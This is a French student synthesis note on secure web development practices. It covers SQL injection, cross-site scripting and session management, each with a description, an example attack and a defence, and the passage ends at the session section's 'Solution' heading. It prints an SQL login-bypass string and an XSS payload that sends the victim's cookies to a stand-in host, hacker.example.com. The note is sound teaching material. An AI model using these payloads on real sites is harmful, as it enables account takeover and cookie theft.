Methodes De Developpement Web Sécurisé

L, HTTP, Base de Données, Erreur, Fichier, Formulaire.

Résumé

L’objectif de cette note de synthèse est d’offrir aux développeurs d’applications web un échantillon de bonnes pratiques à appliquer lors du développement de leurs applications, pour leur permettre de la sécuriser et d’être à même de protéger leurs utilisateurs. Pour ce faire, cette note regroupe un ensemble de données dispersées entre sites web, articles et cours magistraux mis sous la forme de deux parties principales. La première est composée d’un échantillon des failles applicatives les plus communes aujourd’hui, offrant pour chacune de ces failles une description, un exemple d’attaque puis le moyen de s’en protéger. La seconde, elle, est composée d’un ensemble de recommandations sur le fonctionnement du langage PHP et du serveur utilisé pour exploiter au mieux leur capacité et leur configuration, tout en gardant en tête l’aspect sécurité. Il existe une multitude de moyens pour se protéger. Malheureusement, il existe aussi beaucoup de caractéristiques et failles à prendre en compte. Et vous vous devez de protéger vos applications et les données de vos utilisateurs, pour préserver votre crédibilité vis-à-vis de ces derniers. C’est pourquoi il faut sécuriser au mieux vos applications.

2

INF4 - Sécurité

Méthodes de Développement Web Sécurisé

Les bonnes pratiques à avoir Dogan DEMIR

Introduction

La protection des données et des fonctionnalités de l’application ainsi que des données des utilisateurs est primordiale pour permettre à l’utilisateur d’avoir confiance en cette application. Aujourd’hui, la grande majorité des applications ne sont pas sécurisées et sont donc des cibles faciles pour les menaces. Cette synthèse, destinée aux développeurs, va donc permettre de voir pourquoi il est si important de sécuriser ses applications web et comment simplement éviter les attaques les plus répandues ?

3

INF4 - Sécurité

Méthodes de Développement Web Sécurisé

Les bonnes pratiques à avoir Dogan DEMIR

1. Qu’est-ce qu’un risque applicatif ?

Un risque applicatif est une faiblesse de l’application exploitable par une menace. Il en existe une multitude représentant un risque plus ou moins sérieux pouvant porter atteinte à l’intégrité de vos données et à la disponibilité des différents services que votre application a à offrir.

[4]

4

INF4 - Sécurité

Méthodes de Développement Web Sécurisé

Les bonnes pratiques à avoir Dogan DEMIR

2. Les Risque les plus courants

Il existe une multitude de risques. Voici un échantillon des faiblesses les plus courantes [4] dans une application web, en commençant par la plus critique. Vous trouverez pour chacune de ces faiblesses une description, le risque encouru, un exemple d’attaque, ainsi que le moyen de défendre son application contre cette attaque.

2.1. Injection

Une injection est une donnée non fiable transmise à un interpréteur en tant qu’élément d’une commande ou d’une requête. Les données transmises peuvent amener l’interpréteur à effectuer une action altérée ou non prédéterminée par l’application. Elles sont le plus souvent appliquées aux requêtes SQL, LDAP et XPath, aux commandes systèmes et aux arguments de programme. Une Injection peut mener à une perte ou corruption de données, une perte de traçabilité ou à un déni d’accès, voire parfois à la prise de contrôle totale du serveur [4][1]. Exemple

[3]

L’utilisateur entre en tant que login la valeur ‘or 1=1 limit x,y/* si la requête de vérification est de la forme : Select *from members where pseudo=’$pseudo’ and pass=’$password’ Il en résultera une requête telle que : Select *from members where pseudo=’’ or 1=1 limit 0,1/* pass=’’ Cette requête renverra le compte se trouvant en deuxième position dans la table des utilisateurs. Grâce à limit x,y, le pirate peut accéder à n’importe quelle entrée de la table. Solution Pour éviter une injection, il existe plusieurs méthodes. Il suffit par exemple d’effectuer un traitement sur la variable constituant la requête, en échappant les caractères spéciaux pouvant s’y trouver. Ou encore, d’utiliser une API ce qui permettrait de se passer de l’interpréteur et de sécuriser les requêtes. 5

INF4 - Sécurité

Méthodes de Développement Web Sécurisé

Les bonnes pratiques à avoir Dogan DEMIR

2.2. Cross-Site Scripting (XSS)

Les failles XSS se produisent chaque fois qu'une application prend des données non fiables fournies par un utilisateur mal intentionné et les envoie à un explorateur web sans validation appropriée. XSS permet à des attaquants d'exécuter du script dans le navigateur de la victime afin de détourner des sessions utilisateur, défigurer des sites web, ou rediriger l'utilisateur vers des sites malveillants.

Exemple [1] L’utilisateur est amené à proposer son avis sur un produit via un formulaire, voici ce qu’il lui est possible de faire : $feedback= « Document.location=’ http://hacker.example.com/stealit.php ?cookies=’+document.cookies ; Ceci aura pour effet de rediriger la victime sur son site, et par la même occasion de lui voler des données personnelles, contenues dans ses cookies.

Solution [2] Il existe différents moyens de ne pas interpréter du code envoyé par l’utilisateur : soit en limitant les possibilités, en lui permettant par exemple de ne pouvoir effectuer que de la mise en forme de texte, en effectuant un traitement au cas par cas. Ou radicalement en empêchant toute possibilité d’exécution de son code en échappant les caractères spéciaux se trouvant dans la valeur transmise par l’utilisateur (exemples de méthodes PHP : html_entities(), URLEncode() … )[2][4].

6

INF4 - Sécurité

Méthodes de Développement Web Sécurisé

Les bonnes pratiques à avoir Dogan DEMIR

2.3. Authentification et Session

Les fonctions applicatives relatives à l'authentification et la gestion de sessions ne sont souvent pas mises en œuvre correctement, permettant ainsi aux attaquants de compromettre les mots de passe, clés, jetons de session, ou d'exploiter d'autres failles d'implémentation pour s'approprier les identités d'autres utilisateurs [4]. Il existe une multitude de détails à gérer vis à vis de l’authentification et des sessions. Cette présentation n’est que très partielle. Il vous faudra donc vous renseigner plus amplement sur le sujet.

Exemple [4] Lorsqu’un utilisateur se connecte sur un site, une session est créée pour lui. Après avoir effectué ce pourquoi il est allé sur ce site, Il quitte l’explorateur. Cependant, la session est toujours active : n’importe qui allant sur cette machine aura accès à ses données personnelles. Ou encore, l’id de session attribué à l’utilisateur est visible dans l’url : s’il veut envoyer par mail le lien de cette page à d’autres personnes, il ne sera pas conscient qu’il transmettra, par la même occasion, ce même identifiant de session.

Solution